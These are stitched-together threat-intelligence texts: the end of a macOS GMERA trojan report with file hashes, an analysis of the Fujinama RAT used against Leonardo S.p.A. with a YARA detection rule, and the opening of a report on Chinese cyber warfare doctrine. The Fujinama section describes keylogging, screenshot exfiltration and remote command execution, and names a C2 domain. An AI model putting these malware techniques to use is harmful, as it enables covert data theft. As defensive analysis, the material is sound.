Given the changes we’ve seen from the malware variant’s initial iteration to its current one, we notice a trend in which the malware authors have simplified its routine and added further capabilities. It’s possible that the people behind it are looking for ways to make it more efficient – perhaps even adding evasion mechanisms in the future.
In the meantime, we advise aspiring traders to practice caution when it comes to the programs they download, especially if it comes from an unknown or suspicious website. We recommend that users only download apps from official sources to minimize chances of downloading a malicious one. We reached out to Apple before publication of this entry, and they informed us that the code signing certificate of this fake app's developers was revoked in July of this year.
## Indicators of Compromise (IoCs)
### Sample 1
| Filename | SHA256 | Detection name |
|-----------------------|-----------------------------------------------------------------------------------------------|-------------------------|
| plugin | 6fe741ef057d38dd6d9bbe02dacbcb4940dac6c32e0f50a641e73727d6bf60d9 | Trojan.SH.GMERA.A |
| stock | 6f48ef0d76ce68bbca53b05d2d22031aec5ce997e7227c3dcb20809959680f11 | Trojan.SH.GMERA.A |
| Stockfoli | efd5b96f489f934f2465a185e43fddf50fcde51b12a8fb91d5d93b09a21706c7 | Trojan.MacOS.GMERA.A |
| Trial_Stockfoli.zip | 18e1db7c37a63d987a5448b4dd25103c8053799b0deea5f45f00ca094afe2fe7 | Trojan.MacOS.GMERA.A |
### Sample 2
| Filename | SHA256 | Detection name |
|-------------------------|-------------------------------------------------------------------------------------------------|-------------------------|
| com.apple.upd.plist | be8b6549da925f285307b17c616a010a9418af70d090ed960ade575ce27c7787 | Trojan.MacOS.GMERA.B |
| run.sh | d50f5e94f2c417623c5f573963cc777c0676cc7245d65967ca09a53f464d2b50 | Trojan.SH.GMERA.B |
| Stockfoli | 83df2f39140679a9cfb55f9c839ff8e7638ba29dba164900f9c77bb177796e03 | Trojan.MacOS.GMERA.B |
| Trial_Stockfoli.zip | faa2799751582b8829c61cbfe2cbaf3e792960835884b61046778d17937520f4 | Trojan.MacOS.GMERA.B | |
# Leonardo S.p.A. Data Breach Analysis
ReaQta Threat Intelligence Team identified the malware used in an exfiltration operation against the defence contractor Leonardo S.p.A. The analysis of the malware, dubbed Fujinama, highlights its capabilities for data theft and exfiltration while maintaining a reasonably low profile, despite a lack of sophistication, mostly due to the fact that the malicious vector was manually installed by an insider.
## Data Breach
Leonardo S.p.A. (formerly Finmeccanica) is the 8th largest defence contractor. Partially owned by the Italian government, the company is widely known for their AgustaWestland Helicopters, major contributions to the Eurofighter project, development of naval artillery, armoured vehicles, underwater systems, implementation of space systems, electronic defence, and more.
On the 5th of December 2020, the CNAIPIC (National Computer Crime Center for Critical Infrastructure Protection), a unit specialized in computer crime, part of the Polizia di Stato (the Italian Police), reported the arrest of 2 individuals in relation to a data theft operation, identified for the first time in January 2017, against Leonardo S.p.A.’s infrastructure. The anomalous activity was identified by the company’s security unit and quickly reported to the authorities that started an extensive investigation.
Though the company’s initial report identified the leak to be negligible in volume, the CNAIPIC’s investigation found the amount to actually be significant, with 100,000 files exfiltrated for a total of 10GB of data from 33 devices in a single location, tracking the final infection to a total of 94 different devices. The attack was considered an APT by the Italian Police, carried out by a single person who manually installed custom malware on each targeted machine.
Physical attacks are hard to detect, as any local access to the device can help to mitigate on-device detections. This is especially true when the attacker is, like in Leonardo’s case, part of the company’s security unit. A physical attack carried out by a person with high-level access is a worst-case scenario for any company or agency, but things might have taken a different turn if the malware involved was actually sophisticated.
## Fujinama First Detection
In January 2017, Leonardo’s Cyber Security Unit reported anomalous traffic from a number of endpoints operating in the Pomigliano D’Arco (Naples) office. The offending application name cftmon.exe was a twist of a well-known Windows component ctfmon.exe. The application was not recognized as malicious by the security solutions in use, but the network traffic was indeed highly anomalous. While the attacker was certainly persistent, the sophistication was also lacking; in fact, the type of traffic generated led eventually to the identification of the threat.
Unfortunately, the CNAIPIC didn’t release any information on the threat, except for its filename and the C2 address used: www.fujinama.altervista.org, though this was enough to threat hunt in our dataset looking for traces of this malware.
## Hunting Down Fujinama
The hunt for Fujinama started shortly after CNAIPIC’s bulletin was published. Our Threat Intelligence team managed to find samples that reached our sensors network from 2018. From that point, we managed to pivot on a third sample that appears to be related to a different operation.
Two of the three samples share the same keylogging capabilities but they point at two different C2. A third sample, pointing to the Fujinama C2, is in all likelihood an evolution of the previous version that includes screenshot capabilities, exfiltration, and remote execution. This specific sample, labeled Sample 2 in the article, will be the focus of our behavioural analysis.
## ReaQta-Hive Analysis
Fujinama was written in Visual Basic 6 and it tries to mimic an internal Windows tool: cftmon.exe (as mentioned above, a twist on the legitimate ctfmon.exe).
### Main Flow
The sample adopts a very simple sandbox evasion technique, sleeping for 60 seconds before activating the malicious flow that consists of:
- Every 60 seconds: capturing a screenshot of the Desktop and uploading it to the C2.
- Installing a keylogger on the victim machine that sends all keystrokes to the C2.
- Every 5 minutes: checking on the C2 for the presence of a command used either to execute an application or to exfiltrate a specific file.
### Screenshots
The screenshot routine simulates a keypress on the PrtScn button to capture the image of the desktop. The screen content is then saved from the clipboard to a jpg file in a temporary folder. Finally, Fujinama uploads the newly created image to its C2, using an HTTP POST request with content-type multi-part before deleting the file from the victim’s device.
### Keylogger
The keylogging routine simply waits for user input; once a keystroke has been typed, it is immediately uploaded to the C2. Surprisingly, the keystroke is transferred using a simple GET request. This approach, although ignored by the local antivirus, is both visible and noisy, most likely this is what gave up the presence of the malware on its first detection.
### C2 Commands
An interesting part of Fujinama is the ability to execute custom commands and custom exfiltrations as instructed by the C2. Every 5 minutes, a configuration file stored on the C2 for each infected endpoint is polled. The samples we have analyzed support 2 commands:
- CMD: contains the command line to execute on the infected endpoint.
- SND: exfiltrates a specific file from the endpoint.
Exfiltration is also confirmed using ReaQta-Hive, showing Fujinama as it captures the hosts file from the infected endpoint before delivering it to the C2.
The RAT’s beaconing is automatically detected and alerted by ReaQta-Hive’s engines.
## Variants
ReaQta has so far identified 3 different Fujinama samples, 2 of them certainly used on Leonardo’s infrastructure while the third appears to be part of a different project.
- Sample 1: used on Leonardo (Keylog)
- Sample 2: used on Leonardo (Keylog, Screenshots, Remote commands)
- Sample 3: under investigation (Keylog)
The analysis shown above has been run on Sample 2. Both Sample 1 and Sample 2 share the same C2 infrastructure. Sample 2 is an evolution of Sample 1 that acquired new capabilities (Screenshots and Remote command support) that were not present in the previous version.
### Capabilities for Sample 1 and Sample 2
| Sample | Keylogging | Screenshots | Remote Commands |
|-------------|------------|-------------|------------------|
| Sample 1 | Yes | No | No |
| Sample 2 | Yes | Yes | Yes |
We measured both the code similarity (95%) and behavioral similarity (99%) between Sample 1 and Sample 3, confirming they’re an almost exact match. Sample 3 shares the same codebase used for Sample 1, with a few notable differences:
- Sample 1 and Sample 2 appear to be compiled on the same machine, Sample 3 seems to have been compiled on a different device.
- Sample 1 and Sample 2 and Sample 3 share the same language id (Italian) though at least one keylogger string has been translated back to English.
- Sample 1 and Sample 2 use the same C2, Sample 3 uses a different one.
- Sample 1 and Sample 2 share the same original filename: cftmon.exe, Sample 3 uses a different one: igfxtray.exe.
Lastly, Sample 3 appears to have been compiled quite recently compared to the other samples.
| Sample | Compilation Time |
|-------------|---------------------------|
| Sample 1 | 2015-05-28 08:02:25 |
| Sample 2 | 2015-07-14 12:33:39 |
| Sample 3 | 2018-09-22 23:10:46 |
Given the timeline, the third sample could not be used on Leonardo. We haven’t yet found traces of how, or where, the third sample was used, but it’s possible that the malware project was shared with a third party that managed to alter a few parts.
## Detection
ReaQta-Hive natively detects Fujinama, so no actions or updates are required from our customers and partners. We can’t share the samples yet, although the article provides enough data to allow researchers to find them. Nevertheless, given the presence of the third sample and the slim – but not negligible – possibility that someone is still maintaining this project, we would like to share with the community a Yara rule to identify Fujinama variants.
```yara
rule Fujinama {
meta:
description = "Fujinama RAT used by Leonardo SpA Insider Threat"
author = "ReaQta Threat Intelligence Team"
date = "2021-01-07"
version = "1"
strings:
$kaylog_1 = "SELECT" wide ascii nocase
$kaylog_2 = "RIGHT" wide ascii nocase
$kaylog_3 = "HELP" wide ascii nocase
$kaylog_4 = "WINDOWS" wide ascii nocase
$computername = "computername" wide ascii nocase
$useragent = "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)" wide ascii nocase
$pattern = "'()*+,G-./0123456789:" wide ascii nocase
$function_1 = "t_save" wide ascii nocase
$cftmon = "cftmon" wide ascii nocase
$font = "Tahoma" wide ascii nocase
condition:
uint16(0) == 0x5a4d and all of them
}
```
## Conclusions
The malware is not particularly sophisticated but it certainly reached its goal. Sending data in clear with a simple GET is a major oversight for an actor that, supposedly, wants to remain undetected. The frequent beaconing and the absence of all kinds of hiding/evasion mechanisms (with the exception of a basic sandbox evasion technique) shows either a lack of care or a lack of structure. One factor that contributed to the success of the attack was that the installation was performed manually, thus not requiring sophisticated evasion techniques. At the same time, the level of security expected from a major defence contractor should have pushed a sophisticated attacker toward a very different modus operandi.
In our view, the attack has been built opportunistically over time, with incremental enhancements, lacking the structure of a real APT and certainly the sophistication. Unless the attacker could leverage his position within the company to ensure he couldn’t be detected, we can’t see any reason why he was expected to otherwise remain hidden. The code changes only show an increase in exfiltration capabilities while completely neglecting the detection aspect. |
# Capability of the People’s Republic of China to Conduct Cyber Warfare and Computer Network Exploitation
## Scope Note
This paper presents a comprehensive open source assessment of China’s capability to conduct computer network operations (CNO) both during peacetime and periods of conflict. The result will hopefully serve as a useful reference to policymakers, China specialists, and information operations professionals. The research for this project encompassed five broad categories to show how the People’s Republic of China (PRC) is pursuing computer network operations (CNO) and the extent to which it is being implemented by examining:
a) The PLA‘s strategy for computer network operations at the campaign and strategic level to understand how China is integrating this capability into overall planning efforts and operationalizing it among its field units;
b) Who are the principal institutional and individual “actors” in Chinese CNO and what linkages may exist between the civilian and military operators;
c) Possible targets of Chinese CNO against the US during a conflict to understand how the PLA might attempt to seize information control over the US or similar technologically advanced military during a conflict;
d) The characteristics of ongoing network exploitation activities targeting the US Government and private sector that are frequently attributed to China;
e) A timeline of alleged Chinese intrusions into US government and industry networks to provide broader context for these activities.
The basis for this work was a close review of authoritative open source PLA writings, interviews with Western PLA and information warfare analysts, reviews of Western scholarship on these subjects, and forensic analysis of intrusions into US networks assessed to have Chinese origins. The research draws heavily from journals and articles published by the Chinese National Defense University and the Academy of Military Sciences, the military’s highest authority for issues of doctrine, strategy, and force modernization. Many of these publications offer substantive insights into current thinking on strategy and doctrinal issues related to information warfare and CNO. Additional insights into the role of information warfare in broader campaign doctrine and strategy came from *The Science of Military Strategy*, *The Science of Campaigns*, two of the most authoritative sources on the subject available in the open press. The military’s official newspaper, *The PLA Daily*, and a range of Chinese military journals, official media, provincial and local media as well as non-PRC regional media, all provided data on information warfare (IW) training events.
Technical assessments of operational tradecraft observed in intrusions attributed to China are the result of extensive forensic analysis and discussions with information security professionals who follow these issues closely. A review of Chinese technical journal articles on computer network attack and exploitation techniques also aided this study. This research was obtained from online Chinese databases accessible in the US.
A regular review of the contents and discussions posted on Chinese hacker websites contributed to the analysis of these groups’ activities and capabilities. The focus of this effort was to identify possible interactions between members of these groups and the government. Conversations with Western information security analysts who closely follow these groups and actors contributed immensely to focusing the research and greatly aided our understanding of China’s hacker communities. This study was not scoped to include research in China; consequently, the authors focused on the materials and insights presently available outside of China. Additional in-country research on this subject is an avenue of future effort that can—and should—supplement the work presented here.
## Executive Summary
The government of the People’s Republic of China (PRC) is a decade into a sweeping military modernization program that has fundamentally transformed its ability to fight high-tech wars. The Chinese military, using increasingly networked forces capable of communicating across service arms and among all echelons of command, is pushing beyond its traditional missions focused on Taiwan and toward a more regional defense posture. This modernization effort, known as informationization, is guided by the doctrine of fighting “Local War Under Informationized Conditions,” which refers to the PLA’s ongoing effort to develop a fully networked architecture capable of coordinating military operations on land, in air, at sea, in space and across the electromagnetic spectrum.
This doctrinal focus is providing the impetus for the development of an advanced IW capability, the stated goal of which is to establish control of an adversary’s information flow and maintain dominance in the battlespace. Increasingly, Chinese military strategists have come to view information dominance as the precursor for overall success in a conflict. The growing importance of IW to China’s People’s Liberation Army (PLA) is also driving it to develop more comprehensive computer network exploitation (CNE) techniques to support strategic intelligence collection objectives and to lay the foundation for success in potential future conflicts.
One of the chief strategies driving the process of informatization in the PLA is the coordinated use of CNO, electronic warfare (EW), and kinetic strikes designed to strike an enemy’s networked information systems, creating “blind spots” that various PLA forces could exploit at predetermined times or as the tactical situation warranted. Attacks on vital targets such as an adversary’s intelligence, surveillance, and reconnaissance (ISR) systems will be largely the responsibility of EW and counterspace forces with an array of increasingly sophisticated jamming systems and anti-satellite (ASAT) weapons. Attacks on an adversary’s data and networks will likely be the responsibility of dedicated computer network attack and exploitation units.
The Chinese have adopted a formal IW strategy called “Integrated Network Electronic Warfare” (INEW) that consolidates the offensive mission for both computer network attack (CNA) and EW under PLA General Staff Department’s (GSD) 4th Department (Electronic Countermeasures) while the computer network defense (CND) and intelligence gathering responsibilities likely belong to the GSD 3rd Department (Signals Intelligence), and possibly a variety of the PLA’s specialized IW militia units.
This strategy, which relies on a simultaneous application of electronic warfare and computer network operations against an adversary’s command, control, communications, computers, intelligence, surveillance, and reconnaissance (C4ISR) networks and other essential information systems, appears to be the foundation for Chinese offensive IW. Analysis of this strategy suggests that CNO tools will be widely employed in the earliest phases of a conflict, and possibly preemptively against an enemy’s information systems and C4ISR systems.
The PLA is training and equipping its force to use a variety of IW tools for intelligence gathering and to establish information dominance over its adversaries during a conflict. PLA campaign doctrine identifies the early establishment of information dominance over an enemy as one of the highest operational priorities in a conflict; INEW appears designed to support this objective.
The PLA is reaching out across a wide swath of Chinese civilian sector to meet the intensive personnel requirements necessary to support its burgeoning IW capabilities, incorporating people with specialized skills from commercial industry, academia, and possibly select elements of China’s hacker community. Little evidence exists in open sources to establish firm ties between the PLA and China’s hacker community; however, research did uncover limited cases of apparent collaboration between more elite individual hackers and the PRC’s civilian security services. The caveat to this is that amplifying details are extremely limited and these relationships are difficult to corroborate.
China is likely using its maturing computer network exploitation capability to support intelligence collection against the US Government and industry by conducting a long-term, sophisticated, computer network exploitation campaign. The problem is characterized by disciplined, standardized operations, sophisticated techniques, access to high-end software development resources, a deep knowledge of the targeted networks, and an ability to sustain activities inside targeted networks, sometimes over a period of months.
Analysis of these intrusions is yielding increasing evidence that the intruders are turning to Chinese “black hat” programmers (i.e., individuals who support illegal hacking activities) for customized tools that exploit vulnerabilities in software that vendors have not yet discovered. This type of attack is known as a “zero day exploit” (or “0-day”) as the defenders haven't yet started counting the days since the release of vulnerability information. Although these relationships do not prove any government affiliation, it suggests that the individuals participating in ongoing penetrations of US networks have Chinese language skills and have well-established ties with the Chinese underground hacker community. Alternately, it may imply that the individuals targeting US networks have access to a well-resourced infrastructure that is able to broker these relationships with the Chinese blackhat hacker community and provide tool development support often while an operation is underway.
The depth of resources necessary to sustain the scope of computer network exploitation targeting the US and many countries around the world coupled with the extremely focused targeting of defense engineering data, US military operational information, and China-related policy information is beyond the capabilities or profile of virtually all organized cybercriminal enterprises and is difficult at best without some type of state sponsorship.
The type of information often targeted for exfiltration has no inherent monetary value to cybercriminals like credit card numbers or bank account information. If the stolen information is being brokered to interested countries by a third party, the activity can still technically be considered “state-sponsored,” regardless of the affiliation of the actual operators at the keyboard.
The US information targeted to date could potentially benefit a nation-state defense industry, space program, selected civilian high technology industries, foreign policymakers interested in US leadership thinking on key China issues, and foreign military planners building an intelligence picture of US defense networks, logistics, and related military capabilities that could be exploited during a crisis. The breadth of targets and range of potential “customers” of this data suggests the existence of a collection management infrastructure or other oversight to effectively control the range of activities underway, sometimes nearly simultaneously.
In a conflict with the US, China will likely use its CNO capabilities to attack select nodes on the military’s Non-classified Internet Protocol Router Network (NIPRNET) and unclassified DoD and civilian contractor logistics networks in the continental US (CONUS) and allied countries in the Asia-Pacific region. The stated goal in targeting these systems is to delay US deployments and impact combat effectiveness of troops already in theater.
No authoritative PLA open source document identifies the specific criteria for employing computer network attack against an adversary or what types of CNO actions PRC leaders believe constitutes an act of war.
Ultimately, the only distinction between computer network exploitation and attack is the intent of the operator at the keyboard: The skill sets needed to penetrate a network for intelligence gathering purposes in peacetime are the same skills necessary to penetrate that network for offensive action during wartime. The difference is what the operator at that keyboard does with (or to) the information once inside the targeted network. If Chinese operators are, indeed, responsible for even some of the current exploitation efforts targeting US Government and commercial networks, then they may have already demonstrated that they possess a mature and operationally proficient CNO capability.
## Chinese Computer Network Operations Strategy
The Chinese People’s Liberation Army (PLA) is actively developing a capability for computer network operations (CNO) and is creating the strategic guidance, tools, and trained personnel necessary to employ it in support of traditional warfighting disciplines. Nonetheless, the PLA has not openly published a CNO strategy with the formal vetting of the Central Military Commission (CMC), China's top military decision-making body, or the Academy of Military Sciences (AMS), its leading body for doctrine and strategy development. The PLA has, however, developed a strategy called “Integrated Network Electronic Warfare” that is guiding the employment of CNO and related information warfare tools. The strategy is characterized by the combined employment of network warfare tools and electronic warfare weapons against an adversary’s information systems in the early phases of a conflict.
Chinese information warfare strategy is closely aligned with the PLA’s doctrine for fighting Local Wars Under Informationized Conditions, the current doctrine that seeks to develop a fully networked architecture capable of coordinating military operations on land, in air, at sea, in space, and across the electromagnetic spectrum. China’s military has shifted from a reliance on massed armies of the Maoist Era People’s War doctrine and is becoming a fully mechanized force linked by advanced C4ISR technologies.
Informationization is essentially a hybrid development process, continuing the trend of mechanization and retaining much of the current force structure while overlaying advanced information systems on it to create a fully networked command and control (C2) infrastructure. The concept allows the PLA to network its existing force structure without radically revising current acquisition strategies or order of battle.
- PLA assessments of current and future conflicts note that campaigns will be conducted in all domains simultaneously—ground, air, sea, and electromagnetic—but it is the focus of the latter domain in particular that has driven the PLA’s adoption of the Informationized Conditions doctrine.
This doctrine is also influencing how the PLA approaches its military campaigns, attempting to shift from the traditional combined arms operations to what the PLA refers to as “integrated joint operations under informationized conditions.” The former is characterized by large mechanized formations fighting in tandem but without a shared common operating picture and the latter stresses the dominance of information technology and its ability to shape ground, sea, air, and space into a multi-dimensional battlefield. In the integrated joint operations framework, the PLA uses information network technology to connect its services and warfighting disciplines into an integrated operational whole, a concept that is also shaping the PLA’s approach to information warfare.
Achieving information dominance is one of the key goals for the PLA at the strategic and campaign level, according to *The Science of Military Strategy* and *The Science of Campaigns*, two of the PLA’s most authoritative public statements on its doctrine for military operations. Seizing control of an adversary’s information flow and establishing information dominance (zhi xinxi quan) are essential requirements in the PLA’s campaign strategy and are considered so fundamental that *The Science of Military Strategy* considers them a prerequisite for seizing air and naval superiority.
- The Science of Military Strategy and The Science of Campaigns both identify enemy C4ISR and logistics systems networks as the highest priority for IW attacks, which may guide targeting decisions against the US or other technologically advanced opponents during a conflict.
- The Science of Campaigns states that IW must mark the start of a campaign and, used properly, can enable overall operational success.
The seeming urgency in making the transition from a mechanized to an informationized force is driven by the perception that winning local wars against adversaries with greater technological advantages, such as the United States, may not be possible without a strong information warfare capability to first control enemy access to its own information.
- PLA discussions of information dominance focus on attacking an adversary’s C4ISR infrastructure to prevent or disrupt the acquisition, processing, or transmission of information in support of decision-making or combat operations. The goal is to combine these paralyzing strikes on the command and control architecture with possible hard kill options using missiles, air strikes, or Special Forces against installations or hardware.
- Degrading these networks potentially prevents the enemy from collecting, processing, and disseminating information or accessing information necessary to sustain combat operations, allowing PLA forces to achieve operational objectives such as landing troops on Taiwan in a cross-strait scenario before the US can effectively intervene.
The PLA has also come to recognize the importance of controlling space-based information assets as a means of achieving true information dominance, calling it the “new strategic high ground,” and many of its advocates consider space warfare to be a subset of information warfare. The PLA is seeking to develop the capability to use space for military operations while denying this same capability to an adversary. PLA authors acknowledge that space dominance is also essential for operating joint campaigns and for maintaining the initiative on the battlefield. Conversely, they view the denial of an adversary’s space systems as an essential component of information warfare and a prerequisite for victory.
The PLA maintains a strong R&D focus on counterspace weapons and though many of the capabilities currently under development exceed purely cyber or EW options, they are nonetheless still considered “information warfare” weapons. Among the most high-profile of China’s ASAT capabilities are kinetic weapons, which rely on projectiles or warheads fired at high speed to impact a satellite directly. The successful January 2007 test of this capability against a defunct Chinese weather satellite demonstrated that the PLA has moved past theoretical discussions of this option and toward an operational capability. Directed energy weapons, such as lasers, high power microwave systems, and nuclear generated electromagnetic pulse (EMP) attacks, are under development. The perceived benefits are the immediacy, and in the case of EMP, the broad scope of the effect.
While the use of any of these weapons against US satellites could quickly escalate a crisis, detonating a nuclear device to create an EMP effect runs an especially high risk of crossing US “red lines” for the definition of a nuclear attack, even if the attack is carried out in the upper reaches of the atmosphere. Additionally, EMP is non-discriminatory in its targeting and though the PLA is training and preparing its force to operate under “complex electromagnetic conditions,” many of its own space-based and possibly terrestrial communications systems may be damaged by either high altitude or more localized EMP attacks. At a minimum, EMP and other types of ASAT attacks expose the PLA to retaliatory strikes against China’s own burgeoning satellite constellation, potentially crippling its nascent space-based C4ISR architecture.
A full discussion of Chinese capabilities for space information warfare is beyond the scope of the present study’s focus on computer network operations; however, the subject is becoming central to the PLA’s discussions of information warfare and in its analysis of informationization in the Chinese force structure.
## Integrated Network Electronic Warfare
The conceptual framework currently guiding PLA IW strategy is called “Integrated Network Electronic Warfare” (wangdian yitizhan), a combined application of computer network operations and electronic warfare used in a coordinated or simultaneous attack on enemy C4ISR networks and other key information systems. The objective is to deny an enemy access to information essential for continued combat operations.
The adoption of this strategy suggests that the PLA is developing specific roles for CNO during wartime and possibly peacetime as well.
- PLA campaign strategy also reflects an intention to integrate CNO and EW into the overall operational plan, striking enemy information sensors and networks first to seize information dominance, likely before other forces engage in combat.
- The INEW strategy relies on EW to jam, deceive, and suppress the enemy’s information acquisition, processing, and dissemination capabilities; CNA is intended to sabotage information processing to “attack the enemy’s perceptions.”
Consistent references to various elements of INEW by PLA authors in authoritative publications strongly suggest that the PLA has adopted it as its dominant IW strategy, despite the apparent lack of any publicly available materials indicating that the principle has received official vetting from senior PLA leaders.
- The originator of the INEW strategy, Major General Dai Qingmin, a prolific and outspoken supporter of modernizing the PLA’s IW capabilities, first described the combined use of network and electronic warfare to seize control of the electromagnetic spectrum as early as 1999 in articles and a book entitled *An Introduction to Information Warfare*, written while on faculty at the PLA’s Electronic Engineering Academy.
- An uncorroborated Taiwan media source claims that Major General Dai drafted a 2002 internal PLA report stating that the PLA adopted an IW strategy using integrated network and electronic warfare as its core.
- A July 2008 analysis of PLA information security architecture requirements by a researcher from the Second Artillery College of Engineering in Xian noted that “electronic warfare and computer network warfare are the two primary modes of attack in information warfare….By using a combination of electronic warfare and computer network warfare, i.e., 'integrated network and electronic warfare,' enemy information systems can be totally destroyed or paralyzed.”
- A 2009 source offered what may be the most succinct illustration of how INEW might be employed on the battlefield, stating that INEW includes “using techniques such as electronic jamming, electronic deception and suppression to disrupt information acquisition and information transfer, launching a virus attack or hacking to sabotage information processing and information utilization, and using anti-radiation and other weapons based on new mechanisms to destroy enemy information platforms and information facilities.”
In 2002, Dai published *An Introduction to Integrated Network Electronic Warfare*, formally codifying the concepts behind what would become the guiding strategy for the use of CNO during wartime. He argued in a seminal article that same year that the growing importance of integrated networks, sensors, and command structures makes the destruction and protection of C4ISR systems a focal point for Chinese IW.
- Both works were published with a strong endorsement from Chief of the General Staff, Gen Fu Quanyou, who lauded the groundbreaking nature of the ideas in both books; his endorsement suggests that Dai may have had powerful allies supporting this approach to IW who perhaps enabled his eventual promotion to head the General Staff Department’s 4th Department, which is responsible for electronic countermeasures and it seems, the PLA’s offensive CNA mission, as well.
- Dai’s promotion in 2000 to lead the GSD 4th Department likely consolidated both the institutional authority for the PLA’s IW mission in this organization and INEW as the PLA’s official strategy for information warfare.
Proponents of the INEW strategy specify that the goal is to attack only the key nodes through which enemy command and control data and logistics information passes and which are most likely to support the campaign’s strategic objectives, suggesting that this strategy has influenced PLA planners toward a more qualitative and possibly effects-based approach to IW targeting. Attacks on an adversary’s information systems are not meant to suppress all networks, transmissions, and sensors or to affect their physical destruction. The approach outlined by Dai and others suggests that the INEW strategy is intended to target only those nodes which the PLA’s IW planners assess will most deeply affect enemy decision-making, operations, and morale.
- The PLA’s *Science of Campaigns* notes that one role for IW is to create windows of opportunity for other forces to operate without detection or with a lowered risk of counterattack by exploiting the enemy’s periods of “blindness,” “deafness” or “paralysis” created by information attacks.
- Dai and others stress that the opportunities created by the application of the INEW strategy should be quickly exploited with missile assaults or other firepower attacks in a combination of “hard and soft attacks” that should dominate in the early stages of a campaign.
- A December 2008 article in the AMS journal, *China Military Science*, asserts that the PLA must disrupt or damage an enemy’s decision-making capacity through a combined application of network warfare and other elements of IW to jam and control the movement of an enemy’s information to achieve information superiority.
## Integrated Network Electronic Warfare in PLA Training
PLA field exercises featuring components of INEW provide additional insights into how planners are considering integrating this strategy across different units and disciplines in support of a campaign’s objectives. IW training featuring combined CNA/CND/EW is increasingly common for all branches of the PLA and at all echelons from Military Region command down to the battalion or company and is considered a core capability for the PLA to achieve a fully informationized status by 2009, as directed by PRC President and CMC Chairman Hu Jintao.
- President Hu Jintao, during a speech at the June 2006 All-Army Military Training Conference, ordered the PLA to focus on training that features “complex electromagnetic environments,” the PLA’s term for operating in conditions with multiple layers of electronic warfare and network attack, according to an authoritative article in *Jiefangjun Bao*.
- During a June 2004 opposed force exercise among units in the Beijing Military Region, a notional enemy “Blue Force” (which are adversary units in the PLA) used CNA to penetrate and seize control of the Red Force command network within minutes of the start of the exercise, consistent with the INEW strategy’s emphasis on attacking enemy C2 information systems at the start of combat.
The PLA may be using training like this to evaluate the effects of targeting enemy tactical or theater command center networks.
- In October 2004, a brigade from the PLA’s Second Artillery Corps, responsible for the conventional and nuclear missile forces, conducted training that featured INEW elements and relied upon a networked C2 infrastructure to maintain multi-echelon communications with a variety of supporting units and command elements while defending against EW attacks, according to PLA reporting.
- A Lanzhou Military Region division, in February 2009, conducted an opposed force information warfare exercise featuring computer network attack and defense scenarios while countering electronic warfare attacks, a common feature of much informationized warfare training, according to a PLA television news program.
The PLA’s 2007 revised Outline for Military Training and Evaluation (OMTE) training guidance directed all services to make training under complex electromagnetic environments (CEME) the core of its campaign and tactical training, according to the director of the General Staff Department's Military Training and Arms Department. The focus on developing capabilities to fight in informationized conditions reflects much of the core of the INEW strategy and continues to shape current and future training, suggesting that despite Dai Qingmin’s retirement from the PLA, this strategy continues to serve as the core of Chinese IW.
- The PLA has established a network of at least 12 informationized training facilities that allow field units to rotate through for exercises in environments featuring realistic multi-arms training in which jamming and interference degrade PLA communications. The flagship facility at Zhurihe in the Beijing Military Region also features the PLA’s first unit permanently designated as an “informationized Blue Force,” likely a Beijing Military Region armored regiment from the 38th Group Army’s 6th Armored Division, according to open source reporting.
- The blue force unit serves as a notional adversary employing foreign tactics and making extensive use of information technology.
- The PLA’s large multi-military region exercise for battalion level units, named Kuayue 2009 (Stride 2009), featured the first-ever simultaneous deployment of units from four military regions and PLA Air Force (PLAAF) units. The exercise focused on implementing the 2007 Training Outline for informationized training and included multiple mission scenarios—amphibious landing, air assault, close air support—under complex electromagnetic environments.
The emphasis of the 2007 training directive on operating in complex electromagnetic environments and under informationized conditions may drive an expansion of personnel training in IW specialties—including offensive network warfare skills—to meet the demand among field units for skilled personnel. The PLA maintains a network of universities and research institutes that support information warfare-related education either in specialized courses or more advanced degree granting programs. The curriculum and research interests of affiliated faculty reflect the PLA’s emphasis on computer network operations.
- The National University of Defense Technology (NUDT) in Changsha, Hunan Province is a comprehensive military university under the direct leadership of the Central Military Commission. NUDT teaches a variety of information security courses and the faculty of its College of Information Systems and Management and College of Computer Sciences are actively engaged in research on offensive network operations techniques or exploits.
- The PLA Science and Engineering University provides advanced information warfare and networking training and also serves as a center for defense-related scientific, technological, and military equipment research. Recent IW-related faculty research has focused largely on rootkit design and detection, including rootkit detection on China’s indigenously developed Kylin operating system.
- PLA Information Engineering University provides PLA personnel in a variety of fields advanced technical degrees and training in all aspects of information systems, including information security and information warfare.
## Deterrence and Computer Network Operations
The Chinese government has not definitively stated what types of CNA actions it considers to be an act of war which may reflect nothing more than a desire to hold this information close to preserve strategic flexibility in a crisis. With the exception of the Taiwan independence issue, the PRC leadership generally avoids defining specific “red lines” for the use of force; this is likely true for its CNA capabilities.
- Effective deterrence requires capable and credible force with clear determination to employ it if necessary and a means of communicating this intent with the potential adversary, according to the *Science of Military Strategy*.
- The *Science of Military Strategy* also stresses that deterrent measures can include fighting a small war to avoid a much larger conflict. Tools like CNA and EW, which are perceived to be “bloodless” by many PLA IW operators, may become first choice weapons for a limited strike against adversary targets to deter further escalation of a crisis. This concept may also have implications for PRC leadership willingness to use IW weapons preemptively if they believe that information-based attacks don’t cross an adversary’s “red lines”.
The PLA may also use IW to target enemy decision-making by attacking information systems with deceptive information to shape perceptions or beliefs. The *Science of Military Strategy* highlights this as a key contribution that IW can make in support of the overall campaign. Data manipulation or destruction may be perceived as a valuable tool to aid broader strategic psychological or deception operations or to support perception management objectives as part of a deterrence message.
- A 2003 article by the Deputy Commander of Guangzhou Military Region, entitled “Information Attack and Information Defense in Joint Campaigns," published in an AMS journal, noted that information attack requires targeting both an enemy’s information systems and “cognition and belief system.” The primary techniques for attacking information systems, he argues, are network and electronic attack and the primary techniques for attacking people's cognition and belief system are information deception and psychological attack, which will also be implemented by CNO units.
- AMS guidance on the formation of IW militia units directed that they include psychological operations elements to support perception management and deception operations against an enemy.
Some PLA advocates of CNO perceive it as a strategic deterrent comparable to nuclear weapons but possessing greater precision, leaving far fewer casualties, and possessing longer range than any weapon in the PLA’s arsenal. China’s development of a credible computer network attack capability is one component of a larger effort to expand and strengthen its repertoire of strategic deterrence options that includes new nuclear capable missiles, anti-satellite weapons, and laser weapons.
- Major General Li Deyi, the deputy chair of the Department of Warfare Theory and Strategic Research at the Academy of Military Sciences, noted in 2007 that information deterrence is rising to a strategic level and will achieve a level of importance second only to nuclear deterrence.
- China has developed a more accurate, road mobile ICBM, the DF-31A that can range the continental United States and a submarine launched variant, the JL-2 that will eventually be deployed on China’s new Jin-class nuclear powered submarine.
